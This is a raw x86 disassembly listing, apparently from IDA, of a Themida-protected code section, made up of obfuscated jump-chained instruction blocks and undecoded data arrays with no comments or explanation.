and edx, 28692E84h
jmp loc_5404F7
; ---------------------------------------------------------------------------
dd 8904EC83h, 30B82404h, 0C1434929h, 0E0C105E8h, 34E12503h
dd 53482E16h, 3B457CBBh, 47F38126h, 29262945h, 0C5815BD8h
dd 24CC156Dh, 0BB53C501h, 24CC156Dh, 585BDD29h, 2DCCE9h
dd 8B5F5100h, 0C483240Ch, 7BF78104h, 0E936F90Fh, 2303h
dd 42474FFh, 24048F5Ah, 635E95Ch, 1C330000h, 0DE9AE924h
dd 0E3C1FFFFh, 0ABC38102h, 0F71A632Bh, 0BCCB81DBh, 0E9333C52h
dd 547h, 240C8966h, 0C3807BB5h, 80EB00A8h, 1BE9A8EBh, 0BE00000Dh
dd 33336D57h, 4602E6C1h, 28ACE9h, 4C48300h, 66515066h
dd 662F0EB9h, 1922F181h, 0E9C88966h, 0FFFFCE60h, 8106E2C1h
dd 8ED0FEEAh, 8BD601B1h, 0C4832414h, 24348704h, 243CD25Ch
dd 9DEBE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53BCD6: ; CODE XREF: Themida_:0053614Cj
push ecx
push edx
mov edx, 68A76BCBh
add [esp+4], edx
mov edx, [esp]
jmp loc_537400
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0E99CC83Bh, 0FFFF9DCDh, 0C181F101h, 20F62830h, 1A63E981h
dd 335E3299h, 0C31240Ch, 852E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53BD0E: ; CODE XREF: Themida_:0053C34Ej
mov esi, esp
add esi, 4
push ebp
mov ebp, 2
add esi, ebp
jmp loc_535C42
; ---------------------------------------------------------------------------
loc_53BD23: ; CODE XREF: Themida_:0053D1DEj
sub edx, 1
shr edx, 5
and edx, 2FDC2545h
jmp loc_53AE84
; ---------------------------------------------------------------------------
db 55h
dd 0EF5E9h
db 0
; ---------------------------------------------------------------------------
loc_53BD3D: ; CODE XREF: Themida_:00539B6Bj
xor ebx, 1A12C9Fh
add ebx, 813AD8h
add eax, ebx
pop ebx
push ebp
jmp loc_53841C
; ---------------------------------------------------------------------------
loc_53BD52: ; CODE XREF: Themida_:0053F054j
sub esi, 2EB96AADh
pop eax
sub esi, 4
xchg esi, [esp]
jmp loc_541958
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 815F0000h, 4C7h, 2662E900h, 8F590000h, 4DE92404h
dd 5C000048h, 53242C89h, 0FFB0B3E9h, 9FE951FFh, 5DFFFFF7h
dd 0E95B5853h, 3EA0h
; ---------------------------------------------------------------------------
loc_53BD9C: ; CODE XREF: Themida_:00541C64j
shr eax, 3
push edx
mov edx, 763E5F14h
not edx
jmp loc_540304
; ---------------------------------------------------------------------------
dd 9C2424D2h, 0FF9D0CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53BDB5: ; CODE XREF: Themida_:00540E35j
sub dh, bl
pop ebx
jmp loc_53E087
; ---------------------------------------------------------------------------
db 33h, 4, 24h
dd 33240431h, 335C2404h, 14312414h, 24143324h, 0FFB167E9h
dd 28F64FFh, 0FF9CE4E9h, 0FFCD31FFh, 0F2E92434h, 0AD000020h
dd 15BB5357h, 6812132Ch, 80B470E0h, 0D7FE95Fh, 0DE200000h
dd 83241C8Bh, 0CE8004C4h, 88506632h, 0BBE950E8h, 5E00000Ch
dd 0E946851h, 0B1E916E5h
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53BE1B: ; CODE XREF: Themida_:0053EBFDj
sub eax, ebx
pop ebx
add eax, 0D7A603B0h
jmp loc_53744C
; ---------------------------------------------------------------------------
loc_53BE28: ; CODE XREF: Themida_:0053744Dj
mov esi, eax
push esi
mov ebp, [esp]
add esp, 4
pop esi
mov eax, [esp]
add esp, 4
jmp loc_53D80A
; ---------------------------------------------------------------------------
dd 34FFCA89h, 0C11EE924h, 0B850FFFFh, 2, 8358C701h, 3C8904ECh
dd 0EBE4E924h, 5158FFFFh, 0B9D0E953h, 431FFFFh, 24043324h
dd 0FFFF12E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53BE71: ; CODE XREF: Themida_:00541FD3j
neg ecx
or ecx, 7FC937AAh
xor ecx, 164044h
push ecx
add dword ptr [esp], 79453B65h
jmp loc_53FFA3
; ---------------------------------------------------------------------------
dd 16E9535Ah, 0BB000027h, 20446DFEh, 68DBF7h, 0E9000000h
dd 3905h, 256FBE56h, 40E91F43h, 58000050h, 7154ED81h, 0B2E91A14h
dd 83FFFFEEh, 48702E8h, 0EA67E924h, 8956FFFFh, 4C681E6h
dd 83000000h, 58E904EEh
db 23h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53BED7: ; CODE XREF: Themida_:0053622Fj
xchg ebx, edi
not ebx
jmp loc_5361D8
; ---------------------------------------------------------------------------
dd 50E9E1F7h, 1FFFFCAh, 0D7C681EEh, 5D086050h, 4C681h
dd 34330000h, 24343124h, 5C243433h, 9C2404FFh, 0FF9BB8E9h
dd 2DD001FFh, 64EB7776h, 0FFEC0EE9h, 3EBF68FFh, 3C890000h
dd 815F5424h, 4ECh, 24348900h, 5B7CBCBEh, 71C6811Eh, 81323930h
dd 94AD29EEh, 3BC78150h, 16D6342h, 3BEF81F7h, 5E6D6342h
dd 5302C783h, 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h
dd 2474FF24h, 243C8B04h, 0E904C483h, 273Ah, 50F468h, 24148900h
dd 3388C688h, 3EE95B5Ah, 1FFFF9Bh, 40E95BD8h, 0BEFFFFA0h
dd 623B64CEh, 0FFA79DE9h, 59CD89FFh, 0E95DE829h, 21Fh
; ---------------------------------------------------------------------------
loc_53BFA0: ; CODE XREF: Themida_:005401B8j
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_53AE63
; ---------------------------------------------------------------------------
db 56h, 81h, 0ECh
dd 4, 0B9240C89h, 55A81C10h, 1CDDE9h
db 0
; ---------------------------------------------------------------------------
loc_53BFC5: ; CODE XREF: Themida_:0053E72Bj
pop edx
push ebx
sub esp, 4
mov [esp], ebp
jmp loc_53D8CB
; ---------------------------------------------------------------------------
loc_53BFD2: ; CODE XREF: Themida_:00541C02j
mov ebx, [esp]
add esp, 4
or esi, 5F386D27h
xor esi, 4E2034E3h
sub ebp, esi
pop esi
jmp loc_53A86A
; ---------------------------------------------------------------------------
db 66h
dd 68240C8Bh, 5061h, 0E9240489h, 2853h, 0E914E941h, 0C680FFFFh
dd 5AF0202Ch, 0FFFBC2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53C011: ; CODE XREF: Themida_:0053B0E8j
mov eax, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_53AACE
; ---------------------------------------------------------------------------
dw 0F380h
aSng db '-énG',0
align 2
db '-',0
dd 16BC806h, 60005D8h, 0FCE96BC8h, 58000005h, 0E9243487h
dd 2B71h
; ---------------------------------------------------------------------------
loc_53C048: ; CODE XREF: Themida_:0053CF92j
pop edi
shl edi, 3
and edi, 4A4635FFh
and edi, offset dword_485578
xor edi, 46B3143Ah
mov edx, edi
pop edi
or esi, edx
pop edx
push 4FF3h
mov [esp], ebx
push ebp
mov ebp, 1792A7Bh
sub ebp, 894CDB94h
mov ebx, ebp
jmp loc_53DE47
; ---------------------------------------------------------------------------
loc_53C07F: ; CODE XREF: Themida_:0053B865j
xchg ecx, esi
xchg ebx, ecx
push ebx
jmp loc_53E3B3
; ---------------------------------------------------------------------------
db 58h, 83h, 0ECh
dd 241C8904h, 6CD821BBh, 9E66E9C7h, 335CFFFFh, 2C31242Ch
dd 242C3324h, 6624248Bh, 68240C8Bh, 7042h, 83241C89h, 8F5404ECh
dd 97E92404h
db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53C0BF: ; CODE XREF: Themida_:00540D40j
and ebx, 20C23FC9h
add ebx, 0DFFDC300h
and eax, ebx
mov ebx, [esp]
add esp, 4
or edx, eax
shl edx, 1
push 63A2h
mov [esp], ecx
push 4C21h
mov [esp], ebx
push ecx
mov ecx, 24h
jmp loc_53DE2F
; ---------------------------------------------------------------------------
dw 0E981h
dd 34EB98FCh, 0E959CA29h, 0FFFFC90Ch, 4C781h, 50530000h
dd 3B5C36B8h, 58C3893Ch, 5C34F381h, 0C7813C3Bh, 7B3F7025h
dd 87685653h, 5E71C77Bh, 47EE8146h, 81087617h, 0A2F5BC6h
dd 0BCF6814Fh, 89D920C0h, 0E3C15EF3h, 0DEC38105h, 81F934D8h
dd 0C802E0EFh, 81DF017Bh, 0C802E0C7h, 0DF015B7Bh, 3CDEEF81h
dd 0EF81289Fh, 7B3F7025h, 0E9241C8Bh, 0FFFFA043h, 8B243487h
dd 0D2E92424h, 29FFFFC7h, 0F316E9FAh, 5358FFFFh, 0C3FE13B3h
dd 0F380DBF6h, 0C4E9806Eh, 28D1C180h, 0D1E980D9h, 24C3E9h
dd 51DBA00h, 50055CFAh, 0E91AA809h, 25FCh, 971EFEB9h, 5A54525Dh
dd 4C281h, 0B9510000h, 2CCB1465h, 1CE9D1F7h, 33000013h
dd 9FE92404h, 81FFFFFCh, 0C0FCAAC3h, 442AE907h, 0B8500000h
dd 133A33h, 5358C201h, 0FFAE15E9h, 48B66FFh, 4EAF6824h
dd 2C890000h, 56E58924h, 4A2D49BEh, 0AE95200h
db 25h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53C1FB: ; CODE XREF: Themida_:00536807j
push dword ptr [esp+4]
pop ebp
jmp loc_53E454
; ---------------------------------------------------------------------------
loc_53C205: ; CODE XREF: Themida_:0053ACFBj
push dword ptr [esp+4]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
xor ebx, eax
push dword ptr [eax]
jmp loc_535AC1
; ---------------------------------------------------------------------------
dd 0C281D2F7h, 4EE50F4Eh, 0D8AEE951h, 0DE01FFFFh, 25EFBD55h
dd 0C5830926h, 4D12E901h, 89500000h, 0CF8EE9E0h, 1487FFFFh
dd 24248B24h, 0FFED2CE9h, 240483FFh, 1FEBE904h, 0BB530000h
dd 282C56E0h, 4EC81h, 5AE90000h, 8BFFFFA8h, 0C4812404h
dd 4, 0FFC0B60Fh, 9CE98734h
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53C283: ; CODE XREF: Themida_:00537B65j
mov [esp], eax
not dword ptr [esp]
push dword ptr [esp]
jmp loc_53EFC6
; ---------------------------------------------------------------------------
db 5Dh, 0E9h, 6Dh
dd 89FFFFF9h, 8CE9243Ch, 88FFFFD4h, 877C88D7h, 2434FF01h
dd 0FFAE55E9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h, 3121h
; ---------------------------------------------------------------------------
loc_53C2BC: ; CODE XREF: Themida_:0053EBA4j
mov ebx, [esp]
add esp, 4
xor ah, 0B4h
xor bl, ah
pop eax
xor al, bl
pop ebx
push edx
mov dh, 7Ch
sub dh, 1
push cx
push eax
mov al, 1Bh
jmp loc_53CCD1
; ---------------------------------------------------------------------------
db 0B8h
dd 3B3C05BCh, 50E92540h, 65E910EDh, 8F00003Ah, 0D6E92404h
dd 89000037h, 0A9E92414h, 0FFFFFFD5h, 835F2434h, 143304C4h
dd 24143124h, 50B3E9h, 0E9FE3100h, 5FCh, 5603EBC1h, 0FFD5F8E9h
dd 4C781FFh, 81000000h, 4EFh, 243C8700h, 240C895Ch, 2434FF54h
dd 4C48159h, 50000000h, 4B8h, 58C10100h, 0FFE2DCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53C349: ; CODE XREF: Themida_:0053C5BBj
mov bx, [esp]
push esi
jmp loc_53BD0E
; ---------------------------------------------------------------------------
db 5Ch
dd 0FFABF0E9h, 0E0ED81FFh, 1463103h, 0C3835DEBh, 99BDE902h
dd 0A568FFFFh, 0E900003Fh, 4F8h
; ---------------------------------------------------------------------------
loc_53C374: ; CODE XREF: Themida_:005382F2j
sub eax, 310000h
jmp loc_53F040
; ---------------------------------------------------------------------------
dw 8B54h
dd 0C481241Ch, 4, 0FFB3AAE9h, 59C829FFh, 265F685Fh, 2C890000h
dd 5D7DBD24h, 0EB014D88h, 54E9525Dh, 0BBFFFFA4h, 448A52A8h
dd 0C381D3F7h, 0DF07AD4h, 0CCE0F381h, 0DF8930E5h, 2C77E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53C3C2: ; CODE XREF: Themida_:00539626j
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
pop dword ptr [edi+24h]
loc_53C3DD: ; CODE XREF: Themida_:00538D40j
push ebx
push eax
mov eax, 63A807A4h
jmp loc_53986A
; ---------------------------------------------------------------------------
loc_53C3E9: ; CODE XREF: Themida_:0053A081j
add al, bl
jmp loc_53B01A
; ---------------------------------------------------------------------------
dd 0EE34E95Ah, 487FFFFh, 0D61E924h, 17680000h, 89000074h
dd 8B542404h, 89562404h, 4C681E6h, 83000000h, 348704C6h
dd 0F715E924h, 5653FFFFh, 493F57BEh, 0CE97E927h, 2D5BFFFFh
dd 7562C3Fh, 2AB7C22Dh, 0E9C28929h, 0FFFFFC4Dh, 8704C383h
dd 0E95C241Ch, 0FFFF9679h
; ---------------------------------------------------------------------------
loc_53C448: ; CODE XREF: Themida_:0053B845j
mov ebp, 4
add eax, ebp
pop ebp
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 4
sub eax, 739241A0h
sub eax, edi
jmp loc_539095
; ---------------------------------------------------------------------------
dw 248Bh
dd 4216624h, 4AE99C24h, 1FFFF96h, 96BE9FBh, 2D400000h
dd 713A3E31h, 8CFF9A05h, 0F1CE9C0h, 0D5890000h, 8324148Bh
dd 3C8904ECh, 81E78924h, 4C7h, 0D0E5E900h, 0E9C1FFFFh
dd 0CDE95706h, 5A000017h, 0FF9C5BE9h, 0ED815AFFh, 7F9C7EF3h
dd 94E9EA01h, 66FFFFCBh, 52240C8Bh, 0BB53E289h, 4, 22A5E9h
dd 665F2D00h, 28E9400Eh
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53C4DF: ; CODE XREF: Themida_:0053FA94j
xor [esp], edi
xor edi, [esp]
pop esp
xor edx, edx
push edx
mov edx, esp
add edx, 4
push edi
mov edi, 5824CD9h
or edi, 3B4103BEh
jmp loc_53E7D6
; ---------------------------------------------------------------------------
loc_53C502: ; CODE XREF: Themida_:00538FA3j
pop esp
mov [esp], ebx
jmp loc_53B34F
; ---------------------------------------------------------------------------
db 83h
dd 0E95104C4h, 0FFFFC709h
; ---------------------------------------------------------------------------
loc_53C514: ; CODE XREF: Themida_:0053CC7Dj
push edx
pop ecx
pop edx
jmp loc_53AEBD
; ---------------------------------------------------------------------------
loc_53C51C: ; CODE XREF: Themida_:0053D54Aj
pop ebx
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_53FA38
; ---------------------------------------------------------------------------
aR_0 db 'R¶%³º',0
db 0F3h, 5Ah, 0E9h
dd 0FFFFB423h, 4568E9F7h, 8900002Dh, 31682414h, 83000002h
dd 248904ECh, 9E7CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53C55A: ; CODE XREF: Themida_:0054142Bj
pop edx
jmp loc_536547
; ---------------------------------------------------------------------------
dd 8B240C33h, 0F7662424h, 4EC83F1h, 0FFF60EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53C571: ; CODE XREF: Themida_:0053ADC3j
or eax, eax
jmp loc_53F38F
; ---------------------------------------------------------------------------
loc_53C578: ; CODE XREF: Themida_:00542201j
xchg ebx, [esp]
pop esp
push 2E76h
jmp loc_53F031
; ---------------------------------------------------------------------------
loc_53C586: ; CODE XREF: Themida_:0053B6D3j
pop cx
sub esp, 4
mov [esp], edx
mov dh, 0EDh
push bx
sub esp, 2
mov [esp], dx
mov dl, 0C0h
mov bl, dl
pop dx
sub dh, 65h
add dh, bl
push ecx
mov ch, 2Ah
sub ch, 0C5h
add dh, ch
mov ecx, [esp]
add esp, 4
jmp loc_53C349
; ---------------------------------------------------------------------------
loc_53C5C0: ; CODE XREF: Themida_:00539645j
add eax, ecx
pop ecx
shl eax, 1
jmp loc_54141C
; ---------------------------------------------------------------------------
loc_53C5CA: ; CODE XREF: Themida_:0053B8B6j
mov [esp], ecx
jmp loc_535AC1
; ---------------------------------------------------------------------------
dw 0C483h
dd 0FAF18104h, 0E97DBF1Fh, 0FFFFDB4Ah
; ---------------------------------------------------------------------------
loc_53C5E0: ; CODE XREF: Themida_:0053B6E0j
add eax, edi
add [eax], esi
pop eax
mov esi, [esp]
push eax
mov eax, esp
push edx
jmp loc_53BBEE
; ---------------------------------------------------------------------------
aRiSki db 'RˆÊéŠI',0
dd 4C48100h, 68000000h, 6B7Ch, 89241C89h, 0F4E950E3h, 2900000Bh
dd 24048BC6h, 5104C483h, 95DA04B9h, 0E8B8E94Dh, 0E289FFFFh
dd 4C281h, 0C2810000h, 2, 8B241487h, 0F0E92424h, 68FFFFF1h
dd 4766h, 0BA241489h, 2B451D45h, 544FE9h, 442D6600h, 0A52D667Bh
dd 4BFBE906h, 80580000h, 0C3800DC3h, 50C3002Ch, 807BB252h
dd 0EAC0DCF2h, 0EC28003h, 0E95AD088h, 0FFFFCFF7h, 0E9243C87h
dd 0FFFFFA1Ah, 4BAh, 0A3BA5200h, 0E97BFA78h, 0FFFFFB94h
; ---------------------------------------------------------------------------
loc_53C690: ; CODE XREF: Themida_:0053CC8Aj
pop edx
shr ebp, 3
shr ebp, 7
xor ebp, 2C87608Ch
xchg ecx, ebp
not ecx
xchg ecx, ebp
sub ebp, 0D26B3CE2h
and eax, ebp
push dword ptr [esp]
pop ebp
push esi
jmp loc_541371
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 4C481h, 0EC830000h, 5568E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53C6C6: ; CODE XREF: Themida_:00540B37j
push eax
sub esp, 4
mov [esp], esp
jmp loc_53F963
; ---------------------------------------------------------------------------
aBGqCxp db 'ÃgQ]CX',0
db 0E9h
dd 0FFFF93E1h
; ---------------------------------------------------------------------------
loc_53C6E0: ; CODE XREF: Themida_:00536945j
push ecx
not dword ptr [esp]
pop ecx
push eax
mov eax, 1
add ecx, eax
pop eax
or ecx, 5C8943D7h
xor ecx, 0FDBFC3F7h
and eax, ecx
jmp loc_537EA0
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 4BB53h, 0C1810000h, 48BF165Ch, 40D7E981h, 0D9296ED1h
dd 40D7C181h, 0B8506ED1h, 48BF165Ch, 8B58C129h, 0C483241Ch
dd 240C8704h, 241C895Ch, 5AE646BBh, 0E9D8315Ah, 2971h
dd 0F0240481h, 836E9474h, 3C8904ECh, 0C830E924h, 535AFFFFh
dd 0FFFDDAE9h, 9363E9FFh, 8951FFFFh, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 0A597E95Ch, 0F781FFFFh, 12A75842h
dd 24FCC781h, 3D68EA44h, 8900001Ah, 0BD55243Ch, 3B1F4A94h
dd 4246C31h, 0BA525D5Dh, 3B1F4A94h, 8C5E9h, 0FCED8100h
dd 100003Fh, 0C6835DEEh, 24348702h, 115DE9h, 48B6600h
dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 89240C89h
dd 4C181E1h, 68000000h, 48C2h, 0BB241C89h, 2, 4212E981h
dd 0E9813EF4h, 216C663Ch, 0FFE4A9E9h, 0E38953FFh, 0FFAFB5E9h
dd 7953BEFFh, 0E6816D86h, 3EF7388Ch, 435F681h, 0EE81617Bh
dd 0E982BD70h, 5FE9F301h
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53C81B: ; CODE XREF: Themida_:00539354j
mov [esp], cx
push ebx
mov bh, 9Eh
jmp loc_5411A1
; ---------------------------------------------------------------------------
db 4Eh
dd 5091EE81h, 0F329D7BCh, 0E9D3015Eh, 22BBh
; ---------------------------------------------------------------------------
loc_53C838: ; CODE XREF: Themida_:00538056j
xor edx, 5FFF8670h
and eax, edx
mov edx, [esp]
jmp loc_53F666
; ---------------------------------------------------------------------------
loc_53C848: ; CODE XREF: Themida_:0053F241j
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push ebp
sub esp, 4
mov [esp], ecx
jmp loc_53D317
; ---------------------------------------------------------------------------
dd 0B021E9ACh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53C866: ; CODE XREF: Themida_:00535D4Fj
pop esp
jmp loc_538DAC
; ---------------------------------------------------------------------------
dd 89243C89h, 0EC8352E7h, 243C8904h, 3C7C3F68h, 81E95F44h
dd 55FFFFC2h, 2BDh, 4EEB8100h, 1470D74h, 4EC381EBh, 5D470D74h
dd 37D2E9h, 8AEB8000h, 8041EB80h, 0C3289EC3h, 809EEB80h
dd 0B86841C3h, 8900006Bh, 32E92404h, 0E9FFFFBEh, 0FFFF9201h
; ---------------------------------------------------------------------------
loc_53C8C0: ; CODE XREF: Themida_:00536CFAj
mov eax, 38B6806h
mov esi, 0FC7497F9h
add esi, eax
pop eax
push esi
xor dword ptr [esp], 75113DEh
pop eax
xor eax, 75113DEh
mov esi, [esp]
push edx
jmp loc_541B28
; ---------------------------------------------------------------------------
loc_53C8E4: ; CODE XREF: Themida_:00536597j
pop esi
add esi, 4
jmp loc_542146
; ---------------------------------------------------------------------------
dd 0EC815366h, 4, 0B0240489h, 88515268h, 1AE950C5h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53C907: ; CODE XREF: Themida_:00537244j
pop dword ptr [esp]
pop esp
jmp loc_537133
; ---------------------------------------------------------------------------
dd 5EF2015Fh, 34FF0288h, 0C4835A24h, 919FE904h, 0C781FFFFh
dd 69323156h, 38E9EF29h, 80FFFFB3h, 0F0001AC6h, 51D8005Ah
dd 0F5809BB5h, 4CED8092h, 6659E828h, 81241C8Bh, 2C4h, 0FC33000h
dd 8B66C0B6h, 0A682414h, 89000077h, 5B54241Ch, 0FFBCDBE9h
dd 56C329FFh, 702C8BBEh, 8BF3295Dh, 0C4812434h, 4, 4661B850h
dd 0A905337Ah, 0E90E5606h, 0FFFFEE87h, 1B0505Bh, 0C30006B3h
dd 4EBC058h, 0F380CBFEh, 32C38042h, 0FFE9B5E9h, 0D831ADFFh
dd 339368h, 2CEBE900h, 59660000h, 8024EB80h, 0D8281AC3h
dd 1FA1E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53C9BE: ; CODE XREF: Themida_:0054119Cj
or ebp, 0CFE3D23h
neg ebp
push esi
mov esi, 18152897h
push ebx
mov ebx, 6109798Ah
shr ebx, 5
sub ebx, 267007C2h
jmp loc_539676
; ---------------------------------------------------------------------------
dd 0F624248Bh, 0B60F66F9h, 0AFD68CCh, 14890000h, 53E28924h
dd 4BBh, 5BDA0100h, 5FB8BE56h, 0E6813DCEh, 534D3E9Eh, 1E9AF681h
dd 5768114Ch, 89000006h, 0FCB9240Ch, 8147B319h, 32630BE9h
dd 6CE9811Fh, 0F70E90A4h, 4789E9D9h, 835D0000h, 1C8704EBh
dd 14AFE924h, 77FF0000h, 907FE940h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53CA42: ; CODE XREF: Themida_:00540E20j
xchg ebp, [esp]
pop esp
jmp loc_53B4E0
; ---------------------------------------------------------------------------
db 81h
dd 0DAC537C6h, 5EF789CEh, 0FFBCE1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53CA59: ; CODE XREF: Themida_:0053F66Ej
jnz loc_53A2B8
push 1
push dword ptr [esp]
jmp loc_541751
; ---------------------------------------------------------------------------
dd 1ACDE958h, 4890000h, 9164E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53CA7A: ; CODE XREF: Themida_:00536AE3j
push edx
mov edx, 63A807A4h
jmp loc_53B8CD
; ---------------------------------------------------------------------------
db 53h, 0E9h, 0C5h
dd 80FFFFE9h, 8FE9CAF5h, 5A000012h, 1C22E9h, 0B2E95900h
dd 8FFFFF90h, 39E92404h, 57FFFFFFh, 2F563DBFh, 0EEACE96Dh
dd 0CA29FFFFh, 0E9D08959h, 0FFFFB329h, 4BD55h, 0E9010000h
dd 9D13E95Dh, 0F488FFFFh, 8858E588h, 48B66C6h, 2C48324h
dd 0EE86D5F6h, 0F6BDEE80h, 0B25251DEh, 5AD188BBh, 3059CE00h
dd 24148BF0h, 4C481h, 36680000h, 89000055h, 5A542414h
dd 0FFDF74E9h, 4EC81FFh, 89000000h, 0E389241Ch, 4C381h
dd 0D0680000h, 89000043h, 44E9240Ch, 0B000003Dh, 45B280h
dd 0BA50E9C2h, 31ADFFFFh, 9B6857D8h, 89000041h, 24B9240Ch
dd 0E9050176h, 4C82h, 4345A135h, 3573558h, 0E9962CDCh
dd 3A20h, 4240481h, 0E9000000h, 4DF0h, 285BFD30h, 240C8BE8h
dd 2387E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53CB6E: ; CODE XREF: Themida_:0053D1F1j
push esi
mov esi, 4
jmp loc_53712B
; ---------------------------------------------------------------------------
db 29h, 0DFh, 8Bh
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add eax, edi
push dword ptr [esp]
pop edi
push ebx
jmp loc_542379
; ---------------------------------------------------------------------------
db 0F7h, 0D2h, 0E9h
dd 0FFFFBFF9h
; ---------------------------------------------------------------------------
loc_53CBA4: ; CODE XREF: Themida_:0053AE72j
push edi
mov edi, 57BF24F8h
mov esi, edi
mov edi, [esp]
add esp, 4
sub esi, 2FC46481h
neg esi
or esi, 49981F3Ah
add esi, 2662C045h
mov [edi+24h], esi
push dword ptr [esp]
jmp loc_53FA63
; ---------------------------------------------------------------------------
loc_53CBD1: ; CODE XREF: Themida_:00540F49j
dec esi
xor esi, 9942756h
xor esi, 9C40E53h
jmp loc_538D4C
; ---------------------------------------------------------------------------
db 66h
dd 8F53E950h, 0D301FFFFh, 8124148Bh, 4C4h, 20586800h, 4890000h
dd 0D295E924h, 0C33FFFFh, 240C3124h, 8B240C33h, 34FF2424h
dd 0D38E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53CC16: ; CODE XREF: Themida_:005409FEj
mov [esp], ebx
mov ebx, esp
jmp loc_5390BD
; ---------------------------------------------------------------------------
dd 4240483h, 4C5815Dh, 56000000h, 5248E957h, 4810000h
dd 0A21B0824h, 0EB815B7Eh, 7EA21B08h, 0FFDE50E9h, 8FE95CFFh
dd 0FFFFFFECh, 16E92434h
db 3Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53CC53: ; CODE XREF: Themida_:0053EAEEj
sub eax, ebx
sub eax, 744C349Dh
pop ebx
jmp loc_53EBDD
; ---------------------------------------------------------------------------
loc_53CC60: ; CODE XREF: Themida_:00540403j
pop edi
push 5C49h
mov [esp], ecx
mov ecx, 22657110h
or ecx, 38C95A1Eh
jmp loc_53EA4A
; ---------------------------------------------------------------------------
loc_53CC79: ; CODE XREF: Themida_:00542057j
dec ecx
shr ecx, 1
push ecx
jmp loc_53C514
; ---------------------------------------------------------------------------
loc_53CC82: ; CODE XREF: Themida_:0053E129j
add ebp, edx
add ebp, 754F5CF9h
jmp loc_53C690
; ---------------------------------------------------------------------------
db 0FFh
dd 8B042474h, 21E92404h, 81000038h, 0CC3CE6CEh, 99BA5227h
dd 310C7C18h, 0C6815AD6h, 1C89064Bh, 0EE9F201h, 0F7FFFFCEh
dd 70F681D6h, 0F737041Bh, 64BB53DEh, 313FB737h, 0F7015BDEh
dd 4EFEE9h
db 0
; ---------------------------------------------------------------------------
loc_53CCD1: ; CODE XREF: Themida_:0053C2D6j
mov ch, 43h
sub ch, al
pop eax
and dh, ch
pop cx
shr dh, 3
push ebx
mov bl, 49h
jmp loc_538C95
; ---------------------------------------------------------------------------
db 31h, 4, 24h
dd 8DD3E99Ch, 0E951FFFFh, 0FFFF9BA9h, 2474FF51h, 0F07CE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53CCFE: ; CODE XREF: Themida_:0053779Ej
push 7FD704E0h
pop ecx
dec ecx
push esi
mov esi, 1ED7604Ah
jmp loc_536140
; ---------------------------------------------------------------------------
loc_53CD10: ; CODE XREF: Themida_:00541C88j
push 0
sub [esp], edx
pop edx
sub edx, 0FFFFFFFFh
jmp loc_538923
; ---------------------------------------------------------------------------
aIxscr db '‰åéçR',0
align 4
dd 1CE92CB3h
db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53CD2F: ; CODE XREF: Themida_:0053A9D5j
sub dword ptr [esp+4], 332E57A6h
sub [esp+4], edi
push 2820h
mov [esp], ebp
mov ebp, 332E57A6h
add [esp+8], ebp
push dword ptr [esp]
pop ebp
add esp, 4
pop edi
pop edx
add edx, 406E4CF5h
push edx
pop eax
pop edx
push ebp
push ebx
push ecx
mov ecx, 5F126677h
sub ecx, 1245244Fh
jmp loc_540410
; ---------------------------------------------------------------------------
dd 5D8015Dh, 120D5AF2h, 29687E2Dh, 0EDE95B35h, 66000019h
dd 8324048Bh, 348904ECh, 81E68924h, 4C6h, 0E9505200h, 4A1Ah
dd 53968h, 241C8900h, 0E95092B3h, 0FFFFB926h
; ---------------------------------------------------------------------------
loc_53CDB0: ; CODE XREF: Themida_:005422E4j
push esi
mov esi, 4
add edx, esi
jmp loc_537A1B
; ---------------------------------------------------------------------------
db 0B9h, 58h, 79h
dd 0D929572Eh, 2A9E9h, 5FFD0100h, 5C242C87h, 3E44E9h, 4E95E00h
dd 81000027h, 0E15D5CC3h, 4EBC131h, 2D2CE9h, 243C8B00h
